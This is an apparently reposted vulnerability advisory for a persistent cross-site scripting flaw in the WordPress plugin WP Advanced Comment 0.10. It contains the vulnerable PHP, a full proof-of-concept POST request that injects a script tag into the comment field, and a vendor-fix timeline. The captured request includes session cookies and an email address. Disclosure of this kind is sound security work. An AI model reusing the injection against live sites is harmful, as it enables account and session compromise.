扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 |
1. Introduction # Exploit Title: WordPress WP Advanced Comment 0.10 Persistent XSS # Date: Mar.09.2016 # Exploit Author: Mohammad Khaleghi # Contact: https://twitter.com/_blackmatrix # Vendor: Ravi Shakya # Tested On: Apache2.2 / PHP5 / Kali 64 / WordPress 4.4.1 # Category: Webapps # Software Link: https://wordpress.org/support/plugin/wp-advance-comment 2. Description WP Advanced Comment 0.10 plugin does not have XSS protection, which means that an attacker can change the POST request , value of " name="comment[meta_value]" " parameter , it's not escaped . XSS is visible for admin File : wp-content\plugins\wp-advance-comment\shortcodes\comment-form.php <!-- Show Comments --> <?php if( $option[$id]['other']['comment_position'] == 1 ){ echo $this->show_like_dislike_button( $value['comment_ID'] , $option[$id]['other'] , 'top' ); echo '<p>'.$value['comment_content'].'</p>'; echo $this->show_like_dislike_button( $value['comment_ID'] , $option[$id]['other'] , 'bottom' ); }?> <!-- Get the comment meta --> <?php $data = get_option( 'wpad_comment_form' ); if( !empty( $data[$id] ) ): ?> <div class="wpad_comment_meta"> <ul> <?php foreach( $data[$id] as $key => $value1 ){ $show_admin = isset($value1['show_admin']) ? $value1['show_admin'] : 0; $privelage = $this->check_administrator( $show_admin ); if ( !empty( $value1['meta_key'] ) && is_numeric( $key ) && $value1['meta_key'] != 'user_name' && $value1 ['meta_key'] != 'user_email' && $value1['custom_field'] != 'user_image' && $value1['meta_key'] != 'wpad_comment' && $privelage == true ){ $meta_key = $value1['meta_key']; $label = $value1['label']; $meta_value = get_comment_meta( $value['comment_ID'] , $meta_key , true ); if( !empty( $meta_value ) ) { if( $value1['custom_field'] == 'radio' ) { $radio_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'radio' ); $this->display_comment_metas_frontend( $label , $radio_value ); } elseif ( $value1['custom_field'] == 'checkbox' ) { $check_value = $this->get_corresponding_metakey( $value1 , $meta_value , 'checkbox'); $this->display_comment_metas_frontend( $label , $check_value ); } else { $this->display_comment_metas_frontend( $label , $meta_value ); } } } } ?> </ul> </div> <?php endif; ?> <!-- Show Comments --> 3. Proof of Concept Request : __________________________________________________________________________ Host=127.0.0.1:8080 User-Agent=Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.8.0 Accept=*/* X-Requested-With=XMLHttpRequest Referer=http://127.0.0.1:8080/wordpress/2016/02/02/hello-world/ Content-Length=1399 Content-Type=multipart/form-data; boundary=---------------------------23741051518289624461916684164 Cookie=wordpress_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C5a52d446b3c1782856a5021a38e5b1431297eca6fa81946694ebfdf305 994a84; wordpress_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7Cfeedc6beb6fc4d7fc7719fd1e45666b270f598a8294df146742750fd43 2ca5b3; wordpress_logged_in_5bd7a9c61cda6e66fc921a05bc80ee93=bourne %7C1455436892%7CVRgNbhd39pxXUlNXcCTkDnTbZTCudBIJlfSocx8yFWh %7C80f4e9b382b8b316ba8967a1651ea91cecc45300c13c754f528a17ade8 475032; wp-settings-time-1=1454782581; wp-settings-time-2=1454752438; wordpress_logged_in_72672e10a1f0c9288ac55a4f4fc9805d=bourne %7C1455962074%7C0QblET9IPqz4apEnQsVq0WOUr7oY1EU25wIcKVKF4sY %7C8ff14befe34a2a5f1c4c6d93123e6afce4af2c43272a0351f2ce9b1499 1c180f; wordpress_test_cookie=WP+Cookie+check Connection=keep-alive Pragma=no-cache Cache-Control=no-cache POSTDATA =-----------------------------23741051518289624461916684164 Content-Disposition: form-data; name="action" wpad_save_comment ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="post_id" 1 ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="form_id" 417 ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="email_me_on_approve" undefined ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_value]" bourne ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="user_name[meta_key]" user_name ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_value]" jason_bourne110@yahoo.com ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="user_email[meta_key]" user_email ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_value]" Hack <script>alert("Hacked")</script> ----------------------------- 23741051518289624461916684164 Content-Disposition: form-data; name="comment[meta_key]" comment ----------------------------- 23741051518289624461916684164-- Response ______________________________________________________________________ Status=OK - 200 Date=Sat, 06 Feb 2016 18:18:43 GMT Server=Apache X-Frame-Options=SAMEORIGIN, SAMEORIGIN X-Powered-By=PHP/5.5.29 X-Robots-Tag=noindex x-content-type-options=nosniff Expires=Wed, 11 Jan 1984 05:00:00 GMT Cache-Control=no-cache, must-revalidate, max-age=0 Pragma=no-cache Content-Length=7 Keep-Alive=timeout=5, max=100 Connection=Keep-Alive Content-Type=text/html; charset=UTF-8 4. Report Timeline 09-03-2016 : Discovered 09-03-2016 : Vendor notified 09-03-2016 : Vendor Responded 09-03-2016 : Vendor fixed the problem 5. Solution Update to version 0.11 |
体验盒子
